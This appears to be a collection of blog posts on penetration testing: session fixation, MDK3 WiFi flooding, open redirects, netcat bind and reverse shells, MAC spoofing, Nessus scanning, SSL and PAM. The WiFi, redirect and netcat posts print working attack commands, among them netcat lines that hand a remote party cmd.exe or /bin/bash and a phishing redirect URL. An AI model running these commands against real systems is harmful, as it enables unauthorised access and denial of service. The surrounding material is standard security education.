Session Fixation Vulnerability on a Leading Bank's website

Session fixation vulnerabilities occur when:

    A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.
    An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.

In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to authenticate against the server using the same session identifier, giving the attacker access to the user's account through the active session.

Furthermore, the issue described above is problematic for sites which issue a session identifier over HTTP and then redirect the user to a HTTPS login form. If the session identifier is not reissued upon authentication, the identifier may be eavesdropped and may be used by an attacker to hijack the session.


Summary :-

When an application does not renew its session cookie after a successful user authentication, it could be possible to find a session fixation vulnerability and force a user to utilize a cookie known by the attacker. In that case, an attacker could steal the user session (session hijacking).


Anatomy of a Session Fixation Attack :-

Step I :- Here is the request to the banking application

Step II :- The response from the application sets a cookie in the browser

Step III :- Modify the Session Id value in the Set-Cookie function. This will cause all of the subsequent requests from the browser to contain the modified Session Id.

Step IV :- Now when the same modified Session Id is sent in the request when the user tries to log into the application.

Step V :- Login successful with user supplied Session Id

The vulnerability has been reported to the bank, hope their response is quick.

Murder... Death... Kill... Whatever...

MDK3 is a WiFi tool that can be used for DOS Attack on APs or Beacon Flood among many other things. Now, MDK3 is available in BackTrack5. Here's the link to ASPj's website for MDK3.

MDK3 Features as listed on ASPj's Website :-
    Bruteforce MAC Filters
    Bruteforce hidden SSIDs (some small SSID wordlists included)
    Probe networks to check if they can hear you
    intelligent Authentication-DoS to freeze APs (with success checks)
    FakeAP - Beacon Flooding with channel hopping (can crash NetStumbler and some buggy drivers)
    Disconnect everything (aka AMOK-MODE) with Deauthentication and Disassociation packets
    WPA TKIP Denial-of-Service
    WDS Confusion - Shuts down large scale multi-AP installations

# mdk3 

BEACON FLOOD (FAKE AP)

First lets see the how the Beacon Flood (Fake AP) works.

There are 3 types of packets in 802.11 :-
 - Management
 - Control
 - Data

Beacon Frame is a subtype of Management Frames --> Subtype 8
Beacon Frames are broadcast frames which are sent out periodically by APs to broadcast their presence.

Everything is in plaintext inside a Beacon Frame. So, if we spoof a Beacon Frames, WiFi devices  in the vicinity will report a new AP.

# mdk3 --help b

The Beacon Flood will create a Fake Access Point in the sense that it starts broadcasting Beacon frames using your WiFi card. So, all of the clients in the vicinity will detect a new AP.

The reason for doing a Beacon Flood could be several. It can be used for the MITM attack, or also a DOS,
since creating a fake AP with an SSID that already exists in range, cause the crash of wifi driver and its
scanner in the victim.

List of APs in range :-

# airodump-ng mon0 -c 6                      ->  To find list of APs in range

# mdk3 mon0 b -n mogambo -a -c 6                    ->  Start Beacon Flood on Channel 6 on interface mon0 with SSID mogambo

The Fake AP appears in the list of APs in range :-

Simple Case of URL Redirect Vulnerability

Description :-

URL Redirection is done when a website redirects a user to another trusted site.

URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site
they are visiting.


Examples for URL Redirect Vulnerability:-

http://www.vulnerable.com?redirect=http://www.attacker.com

The phishing use can be more complex, using complex encoding:

Real redirect: http://www.vulnerable.com/redirect.asp?=http://www.links.com

Faked link: http://www.vulnerable.com/security/advisory/23423487829/../../../redirect.asp%3F%3Dhttp%3A//www.facked.com/advisory/system_failure/password_recovery_system

Impact :-

A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.


Solution :-

To avoid the open redirect vulnerability, parameters of the application script/program must be validated before sending 302 HTTP code (redirect) to the client browser. The server must have a relation of the authorized redirections (i.e. in a database).

POC :-

Here is a case of URL Redirection where the website does not validate the URL before redirecting the client.

A simple change in the redirect address can redirect the client to the attacker's site.

Urgent onsite assignment for me

Yesterday, we got an urgent requirement from one of our clients, a multinational banking and insurance firm.
They have a web service that is exposed on their intranet, and needed to test for security, obviously an onsite activity. But for an assignment such as the web services security testing, which including me, only a couple of our resources can carry out, and that too on such short notice of less than a day, I would say we had situation.  I really think training more guys for web services security testing will bring in more projects of similar nature, as currently they are very few and far in between.

Needless to say, I'm always excited about an onsite activity, it's always a tremendous learning experience, and also kind of a break from the day-to-day office. So, I stepped up. Although, had to perform a quick handover, as I was working on a report.

I needed to get my system ready for the job. Although, I had a couple of commercial grade automated tools which work really well, the test wouldn't be complete  without manual validation with some open source tools. A few good tools such as WSDigger, WSAttacker, and the WSFuzzer will definatly help in the testing. What I was surprised to see was that BackTrack 5 does not come with OWASP WSFuzzer. Anyways got the tools installed and all set for the job.

It was way past midnight, by the time I finished researching more about Web Services. All set of the job, a long day ends...

SunnyLeone.com - Cross Site Scripting Vulnerability

This summary is not available. Please click here to view the post.

Bind Shell and Reverse Shell Basics

BIND SHELL

There are a number of ways that you can bind your shell to a port. We will use NetCat to bind a shell.

We can take cmd.exe and bind it to a local port, and anyone connecting to this port will be presented with a command prompt belonging to that computer. This is known as a BIND SHELL.

Scenario 1 :-

As always, the two fictional characters Bob and Alice are trying to connect to each other.

Suppose, Bob is running a Windows machine, and has a public IP, through which he directly connects to the internet. Bob needs Alice's assistance to help him out (basically perform Remote Administration).
Alice, running a Linux machine, however has a NAT connection, and a non-routable IP Address.

So, in order for this to complete, Bob needs to bind his cmd.exe process to a TCP port on his machine
and inform Alice what port to connect to. This can be achieved using NetCat.

Bob will have to execute the following commands using NetCat on his machine :-

$ nc -lvp 4444 -e cmd.exe
-lvp -> listen verbosly on foll port
-e -> bind NetCat to the subsequent process.

This command makes available the cmd.exe process over port 4444 and redirects all the stdout, stdin and stderr to that port.

Alice can now connect to this IP and port from her machine, using NetCat.
$ nc -v 192.168.0.111 4444
Alice will immediately get a windows cmd prompt from where she can manage Bob's machine, depending on the privileges.

REVERSE SHELL

Scenario 2 :-

This is a reverse of scenario 1. Now suppose Alice needs Bob's assistance.

Again as before, Alice has a NAT connection to the internet, and Bob has a public IP. So, Bob cannot directly connect to Alice's computer.
Now Alice can send her command prompt to Bob's machine. As far as network traffic is concerned, Alice will be connecting to Bob's machine.
In this scenario, rather than Alice connecting to Bob's command shell, Alice will be sending her command shell to Bob.

Bob will first start a listener on a given port using NetCat :-
$ nc -lvp 4444

Now Alice will be sending her command prompt over to Bob's machine, again using NC.
This situation is different, because we'll be sending Linux shell rather than a Windows cmd prompt.
So, rather than binding cmd.exe, we'll be binding the bash shell.

$ nc -v 192.168.0.111 4444 -e /bin/bash

After this command the NC listener on Bob's machine will recieve the Linux shell from Alice.
Bob can now execute bash commands on Alice's machine.

Windows Vs. Linux

Windows - “A computer is like air conditioning – it becomes useless when you open Windows”
 Linux - “Linux is only free if your time is worthless”

Simple Hacking Of MAC Filters for WiFi

Origin :-

The idea for MAC Filters for WiFi was taken from the wired networks. 
The simplicity of spoofing MAC Address on any OS makes this very insecure.
Even then it works well for wired networks, except of course the insider attacks.

WiFi MAC Filters :-

Although this is not part of the 802.11 Standard, it is a Network Layer feature provided by the Access Point manufacturers.
Wireless MAC Filters allow only whitelisted MAC Addresses to connect to the AP.

Problem with MAC Filters :-

The WLAN Header field consist of the Clent MAC Addresses in plain text.

Hacking MAC Filters :-

Anyone who can sniff packets off the air, can read the MAC of a client.
This MAC can then be used to connect to the AP by MAC spoofing.

Web Services Intro

Introduction :-

Web Services can convert your application into a web-application, so that it can publish its function or message to the rest of the world.
The basic Web Services platform is XML + HTTP.
Web Services are published, found, and used through the Web.

What are Web Services?

• Web services are application components
• Web services communicate using open protocols
• Web services are self-contained and self-describing
• Web services can be discovered using UDDI
• Web services can be used by other applications
• XML is the basis for Web services

How Does it Work?

The basic web services platform is XML + HTTP.
XML provides a language which can be used between different platforms and programming languages and still express complex messages and functions.

The HTTP protocol is the most used Internet protocol.

Web Services platform elements:

    SOAP (Simple Object Access Protocol)
    UDDI (Universal Description, Discovery and Integration)
    WSDL (Web Services Description Language)

Example :- With Web services, your accounting department's Win 2k server's billing system can connect with your IT supplier's UNIX server.

What is SOAP?

SOAP is an XML-based protocol to let applications exchange information over HTTP.
Or more simply: SOAP is a protocol for accessing a Web Service.

• SOAP stands for Simple Object Access Protocol
• SOAP is a communication protocol
• SOAP is a format for sending messages
• SOAP is designed to communicate via Internet
• SOAP is platform independent
• SOAP is language independent
• SOAP is based on XML
• SOAP is simple and extensible
• SOAP allows you to get around firewalls
• SOAP is a W3C standard

What is WSDL?

WSDL is an XML-based language for locating and describing Web Services.

• WSDL stands for Web Services Description Language
• WSDL is based on XML
• WSDL is used to describe Web services
• WSDL is used to locate Web services
• WSDL is a W3C standard

What is UDDI?

UDDI is a directory service where companies can register and search for Web services.

• UDDI stands for Universal Description, Discovery and Integration
• UDDI is a directory for storing information about web services
• UDDI is a directory of web service interfaces described by WSDL
• UDDI communicates via SOAP
• UDDI is built into the Microsoft .NET platform

Nessus Port Scan Engine

Port Scanning
Whether you are doing a network penetration testing or a web application audit, port scanning is always effective. Port Scanning helps us find which services are running on the well-known and not so well known ports (i.e. which ports are available). Essentially, a port scan involves sending a message to all of the ports, one at a time. The response received indicates if the port is open or not and if open, and then determine which service it is running.

NMAP is the tool of choice for Port Scanning, but even when scanning a network with Nessus, some testers still rely on NMAP to cross-verify with the Port Scanning results of Nessus.

Then there's also the myth that Nessus uses NMAP port scanning engine.
By default Nessus has never included or used NMAP for port scanning, though prior to 2.2 versions of Nessus used some NMAP code in the port scanning plugin. Nessus has its own port scanning engine, with various features and functions.

There are three different port scanners in the Nessus Port scanner system.

TCP Scanner :-

It initiates a full TCP connect with the target hosts, by sending a sequence of packets, thus completing the three way handshake everytime. The TCP port scanner tunes it's speed using logic as the scan progresses.
The TCP Port scan does not work on Windows and Mac OS, but only on Linux OS. It is a feature rich scanner, capable of handling different complex situations.

TCP Scanner Settings :-

Automatic (normal) - This is the default option, where it can identify a firewall located between the scanner and the target.

Disabled (softer) - For hosts that you know are not firewalled, this option can be used. If the ports are taking more time to respond, the scanner assumes it as a sign of network congestion.

Do not detect RST rate limitation (soft) - To increase reliability on slow networks, this options can be used. It disables the ability to monitor how often resets are sent.

Ignore closed ports (aggressive) - Whever a scan runs for more than 40 minutes, this options is turned on by Nessus. If any packet filter sends an ICMP unreachable in return, in which case TCP connect() scanner can't distinguish it from a RST, of course this is not a probelm for a SYN scanner.

2) SYN Scanner - Fully supported on Windows, MAC OS and Linux, the SYN Scanner behaves a bit differently, than the TCP scanner. It simplifies the process by sending packets and waiting for a response, but not initiating the full three-way handshake. It does not open sockets, but generates raw packets using low-level libraries. The SYN scanner has logic to compute the rate of packets to be sent and the amount of time to wait for a response. It will constantly recompute the optimal throughput as it scans periodically, so the calculations are happening several times throughout the scan to maximize the scan’s efficiency. The SYN scanner tends to be slower, but more reliable. The rate of packets for the SYN Scanner can now be controlled in Nessus 4.
The same options that are available for the TCP scanner also apply to the SYN scanner.

3) UDP Scanner - There’s not much you can do to make this one go faster (you can cheer it on, but that just helps pass the time) as the UDP scanner will generate UDP packets and send them to the target. Some operating systems respond with ICMP messages, others may crash and some just silently ignore the request. The big problem is that there is no reliable way to know if a port is open because a UDP-based listening service usually won't respond to a probe and also will not respond if the port is closed. Another problem is when ICMP messages are received from a target in response to the UDP probe. Certain operating systems respond slowly and rate limit the response to 1 packet per second for each response. This means a scan of all ports may take as long as 65,535 seconds to complete (approximately 19 hours).


Conclusion

Using the port scanners options in Nessus can be of great benefit in tuning your scans. Knowing which situations the SYN or TCP scanner are best utilized in will result in more accurate and faster vulnerability scans. You can refer to the Nessus product documentation for more information about the port scanner settings.

References :-
http://www.nessus.org/plugins/index.php?view=all&family=Port+scanners
http://blog.tenablesecurity.com
http://blog.tenablesecurity.com/2011/01/nessus-mythbusters-edition.html

DOM Based XSS Attacks

Coming Soon....

How SSL works ?

Secure Socket Layer (SSL)

The Secure Sockets Layer (SSL) is a protocol that provides secure communication between client and server.  Here the client is your browser and server is the web site you're communicating with. Secure communication has three main goals: privacy, message integrity, and authentication.

Example for SSL Usage :-
Alice -> Client
Bob -> Server


Alice intends to trnasmit sensitive information to Bob. Alice wants to make sure that the information she sends to Bob is kept confidential (privacy), and cannot be altered along the way (message integrity). She also wants to make sure that she's really sending the information to Bob and not an imposter (authentication).

Privacy:- Using Cryptography plaintext message is encrypted into ciphertext.

Public Key Cryptography
The information used to turn a plaintext message into an encrypted ciphertext message is a key. Public key cryptography makes use of a pair of keys, one is public, and the other is private.

Alice wants to send Bob private information, so Bob says, "Here Alice, use this public key to encrypt your message before sending it to me. When I receive your encrypted message I will use my private key to decrypt your message." It's okay for anyone to have a copy of the public key, but only Bob should have a copy of his private key. A plaintext message encrypted with the public key can only be decrypted with corresponding private key.

Message Integrity :-
When Alice sends the message to Bob, some data could get lost or corrupted. Message integrity is achieved by sending a message digest along with the encrypted message. A message digest is a fixed-length representation of a message.

Alice says to Bob, "I'm going to send you an encrypted message. So that you know my message to you hasn't been intercepted and altered along the way, I'm also sending a fingerprint of my original message. Please check the fingerprint to see if it matches when you receive my message."

Authentication
How does Alice know that she is really sending the message to Bob? Alice needs to authenticate Bob, to make sure he's really Bob and not someone else. Authentication is achieved by Digital Certificates.

Digital SSL Certificates
A digital certificate is an electronic document. Inside that certificate is a copy of sender's public key and information about its owner (domain name, organization name, location).

Why Should Alice Trust the Information ?

Because the SSL certificate is verified or "signed" by a trusted third party Certificate Authority, such as GeoTrust. The trusted Certificate Authority's job is to verify Bob's application for a digital SSL certificate. The authentication process can range from verifying that Bob has authoritative control of his domain (for GeoTrust QuickSSL), to requiring Bob to submit legal documents that verify Bob's business or organization (for GeoTrust True BusinessID). Once Bob's identity has been verified he will be issued a digital SSL certificate.

All of these concepts- privacy by encryption, integrity by message digests (fingerprinting), and authentication by digital SSL certificates- are integrated into the SSL protocol to allow Alice and Bob to communicate securely.

Why SSL exists ?

For 2 basic purposes
Encryption - Converting plain text to cipher text.
Identification - Need to trust the computer on the other end as the computer you think it is.

ENCRYPTION - How ?

1. Computers agree on how to encrypt data between them.
2. Server sends Certificate which containing Public Key.
3. Client computer says 'Start Encrypting'.
4. The Server says 'Start Encryting'
5. All messages are now encrypted.

1. Computers agree on how to encrypt
In the first part of the SSL Handshake computers agree on how to encrypt.
i) Client send 'Hello' to Server.
It contains the foll :-
Key exchange methods such as RSA, Deffie-Hellman, DSA.
Ciphers (way of encrypting data) - RC4, Triple DES, AES.
HASH (Used to generate Message Authentication code which is sent along to ensure integrity of the messages) - HMAC-MD5, HMAC-SHA.
Also sent is SSL Version (eg: 3.3 for TLS)
And a random number which is used to compute a master secret which is then used to calculate encryption keys.

ii) The server picks one of the methods from each of the various sent by the client. And they are ready for the next stage.

2. Server sends Certificate
Certificate contains info about who the server belongs to, validity, various Serial No's, and importantly the Public Key. So, server sends the Certificate to the client.

3. Your computer says 'Start Encrypting'Three messages accomplish this.
i) Client Key Exchange - Once this is sent, both computers can calculate a master Secret code. So, from now on, the Master Secret Code is used to encrypt all of the data communication between.
ii) Change Cipher Specification - Client asks, to change to the cipher spec previously agreed on.
iii) Lets Start - Start Encrypting

4. The server says 'Start Encryting'
i) Change Cipher Spec - It gives the cipher specification.
ii) Finished - Lets Go. So, the FINISH message is completly encrypted by the server and sent to the client.


5. All messages are now encrypted.Now all messages are encrypted.


IDENTIFICATION - How ?

Who to Trust ?
1. Company asks CA for Certificate. (CA is the Certification Authority like VeriSign or Thwate.)
2. CA creates certificate. (CA will first verify the details of the org, and crptographically sign it in a way that cannot be forged.)
3. Certificate installed in Server. (Then they send the Certificate back to the Organization, who then installs it on their web server.)
4. Browser issued with root certificates.
5. Browser trusts only correctly signed Certificates.(Client's browser will trust correctly signed certificates, but it will not trust incorrectly signed certificates.)


1. Company asks CA for Certificate.In order to do this the company has to give a whole lot of information, like
The Web Server.
What the company is ?
Where is it located ?
Certificate Authority checks correctness and authenticity of the organization. (It uses Puublic Records and
various other methods.) 


2. CA creates certificate.  
It creates the certificate and signs it.
Certificate Info :-
Version
Serial Number
Algorithm ID
Issuer
Validity
Company Details
Subject Public Key Info
    Algorithm
    Key
Identifier for Issuer
Identifier for Company
Signature Algorithm
Signature

Signature is created by condensing all details into a number through a Hash Function.
So, all the info before Signature Algorithm will be condensed into a single number.
Then CA encrypts that number with the private key. So, anyone holding a public key can verify it.
Thats a signature.

3. Certificate is installed on the Server.
Now that Certificate is given to the Organization, who installs it on the Server.
The Organization will run a Webserver. (Apache, Tomcat etc.)
The Certificate is installed into this server.
The Webserver is configured to use the certificate.
From then on the Certificate is going to be used in the Handshake process of the SSL.

4. Browser issued with root certificates.
Any Browser ships with out of the box Certificates from CAs all around the world called the Root Certificates, and that enables it to check the authenticity of any Certificates.

5. Browser trusts only correctly signed Certificates .
The Root Certificates installed on the browser has the public key of that CA in it. So, when it recieves a Certificate from a site, it is able to verify if the signature is absolutly correct.

PAM Basics for Linux

PAM [Pluggable Authentication Module] for Linux is used by Admins to choose how applications authenticate users.

To accomplish this PAM provides a library of functions, that Admins can use for user authentication with an application.

It can be said that PAM is the glue between authentication methods [eg one-time pwds, kerberos, smart cards] and applications requiring authentication services [eg ftpd, sshd, imapd] etc. It is another layer on 1st-Level defence in Linux.

PAM Basics for Fedora 14


PAM Manual :- /usr/share/doc/pam-1.1.1/html/Linux-PAM_SAG.html

Files in 4 dirs concern us :-

    /lib/libpam*       ->    PAM System Libs
    /lib/security/.so  ->    PAM Loadable Modules [PLM]
    /etc/pam.d/      
    /etc/security/     ->    6 .conf files and some other files/dirs

PAM Config File :- /etc/pam.d/login

module-type      control-flag      module-path                           [args]
=========  ===========   ==========                       ======         
auth               required           defaults to /lib/security/*.so     debug
account         requisite                                                            no_warn
password      sufficient                                                           use_first_pass
session          optional                                                             try_first_pass
                                                                                                expose_account

                Module Types
              ============

  1. auth :    Serves 2 fns - first authenticating users to be who they claim to be, and second allowing other privileges to be granted to the users

  2. account : Provides account-mgmt options not related to authentication. Typically used to restrict based on factors such as origin [eg only non-root users allow remote login, or time of day]

  3. password: Called only when updating the auth token associated with the user

  4. session : Tasks to be performed before/after the user is allowed access.